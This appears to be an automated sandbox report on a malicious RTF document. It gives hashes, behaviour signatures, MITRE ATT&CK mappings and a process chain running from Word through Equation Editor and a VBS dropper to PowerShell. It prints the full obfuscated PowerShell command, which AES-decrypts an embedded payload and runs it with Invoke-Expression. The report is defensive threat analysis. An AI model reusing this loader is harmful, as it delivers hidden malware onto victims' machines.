c0587da12abc35d421d5cfb374785b021b0c6c07868d12202ea2074b3cf39def

General

Target

c0587da12abc35d421d5cfb374785b021b0c6c07868d12202ea2074b3cf39def.rtf
Size

72KB
MD5

625a04a93d1ab1ffac8c456c25d98b93
SHA1

f52a29f1a540c218a8587d4fc81ff209288a7f3c
SHA256

c0587da12abc35d421d5cfb374785b021b0c6c07868d12202ea2074b3cf39def
SHA512

159775ed99ef6eb7ff9edb193208a1831c43074c737d608d78c91bd8bf35d4a801d914b4214958aad38edec943a920389a3e980233b8e9f58c3864986470dec9
SSDEEP

384:l0uKlMPlWYlweoKVLliD/k4gphmStYaFiYXl83D2jIcwMfXEVNkKT:ykXIKVLlOk4gphm4Xl8D2jIcwM/2p

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	760	EQNEDT32.EXE
6	2600	powershell.exe
7	2600	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2600	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
760	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2144	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2600	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2600	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2144	WINWORD.EXE
2144	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 760 wrote to memory of 2932	760	EQNEDT32.EXE	30
PID 760 wrote to memory of 2932	760	EQNEDT32.EXE	30
PID 760 wrote to memory of 2932	760	EQNEDT32.EXE	30
PID 760 wrote to memory of 2932	760	EQNEDT32.EXE	30
PID 2932 wrote to memory of 2600	2932	WScript.exe	32
PID 2932 wrote to memory of 2600	2932	WScript.exe	32
PID 2932 wrote to memory of 2600	2932	WScript.exe	32
PID 2932 wrote to memory of 2600	2932	WScript.exe	32
PID 2144 wrote to memory of 684	2144	WINWORD.EXE	37
PID 2144 wrote to memory of 684	2144	WINWORD.EXE	37
PID 2144 wrote to memory of 684	2144	WINWORD.EXE	37
PID 2144 wrote to memory of 684	2144	WINWORD.EXE	37

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c0587da12abc35d421d5cfb374785b021b0c6c07868d12202ea2074b3cf39def.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:684

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:760
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\mywifeisbeautiful.vBS"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIri80kRp8Wd309o8uMjCHZGUii0bRMcsrbHHHL+X45oYyzuF4S3e6GVM0e+pl2BU27T+o3U47DIQXyCEbbsY3gN+NKfJGuxcZnCvfWXviSDQkn56OjGYRen9drdjFnWfy8HofbxfsNtUbi+sY/E64/LcGt/c/aVckAqSjibPU7JN7xVQyyVoSZIc1s1y/BzcU37eACUI0rJiga/2nnEROZP45lmQLp/5tepXk/4Nsc9eQ79NMp1rgqhHFpj5hPCuW5mTO5cwo2MuIOYeAfs9wRhfN/2m9G1xcBDzLZ/GrarNq3C+T8gaVFNj5N1wFpi77cdr3iOxIJw3jColqQwqtIBNgAhVDnbvzyqp/Nelf29Ss61/TMdjO2vBdodzQroMOv3JbrfuEgpgYDTLKnHpuTjy+bkvtxIr3YoWNYoHm/m0cps4EBx0HjBlchM5Y0EyVTQXB7H/iInAQVNMc9K4ZUzpcK4A9oBNmzkrv+BJ//16W/ph5Ud31mXNkD5wcg+rablZf4oO6x65fTqBb6GwjjLp/CCSoi+ghzv+n7XvEMN072z13Kr0aKLuUpRkpFbOMxOl1gz+W9L5nzZYEonr8Ef7QCXBWH1efAfmw/rOjJk4GS3n67D+Xt+Xi4nagkgXuz3q4x3sb/BC9fBOa65aM7K6ArL518tiDqrdMwuw+PRpCUsbiNRKQTdSaM7XrTGuX0TaIde76/r+vdHl9dhrkNKbWxL6aUXY//+ltZ8KD1tKSHOjrPl0V66LW2x1rJbmeaoEDQ/mziRwi9uyvQShtGrUPlTcF8BTVNYQlVxj4tCMvYndNjMKaq5pKQK4ZBAH4XN1D1Uyc8h98jAggebme+4gNq15kkfu5ngfMrq8xUJsm+F+NgwtDFthidIWpmay2/isYSX+VXxTA9UORNSZ1xHJcv/4N2ew+y2xhayj7WNIs9CwGBIpv5WyKwc2WwMSm15E/Q0FIVV079eGLQZ5zT9c36kriUQtLMKwm/XqsZZOJ8yoXtr1WIG4DYjevVCE04Y91oXiMgIvmBrLNYjFVF63b20jnRoNOAsa0cleimMV4rca9PaoxA015MRIfXuxoEW0mlOBGfp2SJR5T555CZsyecbKejwhlHrKm1Ke4h9qflRn+Rc9pEinfGjCvI+F5Md2QKTQmi5ZlDk3WAnL2X+9+hYNMp4dc1j6gEeVBCHmnSE92wxQL2LmgDVkq7pfY3ggKxwUr7LajvylgkdB5u2oA0hEMcRmcszoSNx01RdJBPea816PQMD6A9w36sLm5CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
20KB

MD5
11e343bfa9df110318f8f4b957666aa4

SHA1
d5a23c3acef9082cefa033c061e33ddabace564f

SHA256
b87d3eab976c3d28281f62d77bf08ae9fbbc92b40cbb2d96d596ed47e6f903a7

SHA512
cff147fa3e9778e8a81c51ff7f066d29074438376f3a3914238fa991a9cd9a8ab5962b5c7b26e1bc3e6ee821ba83841dc9c6227514568401bc679e31cc8a8afe

Download Submit
C:\Users\Admin\AppData\Roaming\mywifeisbeautiful.vBS

Filesize
565KB

MD5
02b6b577cf925689c42545770b951ac6

SHA1
dce1c459654f5bbfd069f76593df171c95a07b18

SHA256
fd2dcb6500c21ea089a8bf7867f50a1bbd066e3856128c1d283276e1cb6e0689

SHA512
82ddaf057d2a2b9da9849a79317a9dd1a97b2d5967ec61ee79687232b27ce3bdcb5cc2194dceda3ff27f5c2daa3d6692b51a2eb3551410264336d35cced412b5

Download Submit
memory/2144-0-0x000000002F931000-0x000000002F932000-memory.dmp

Filesize
4KB

Download
memory/2144-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2144-2-0x00000000711ED000-0x00000000711F8000-memory.dmp

Filesize
44KB

Download
memory/2144-22-0x00000000711ED000-0x00000000711F8000-memory.dmp

Filesize
44KB

Download
memory/2144-40-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2600-15-0x0000000002AA0000-0x0000000002AFB000-memory.dmp

Filesize
364KB

Download
memory/2600-16-0x00000000029E0000-0x00000000029F7000-memory.dmp

Filesize
92KB

Download

Analysis

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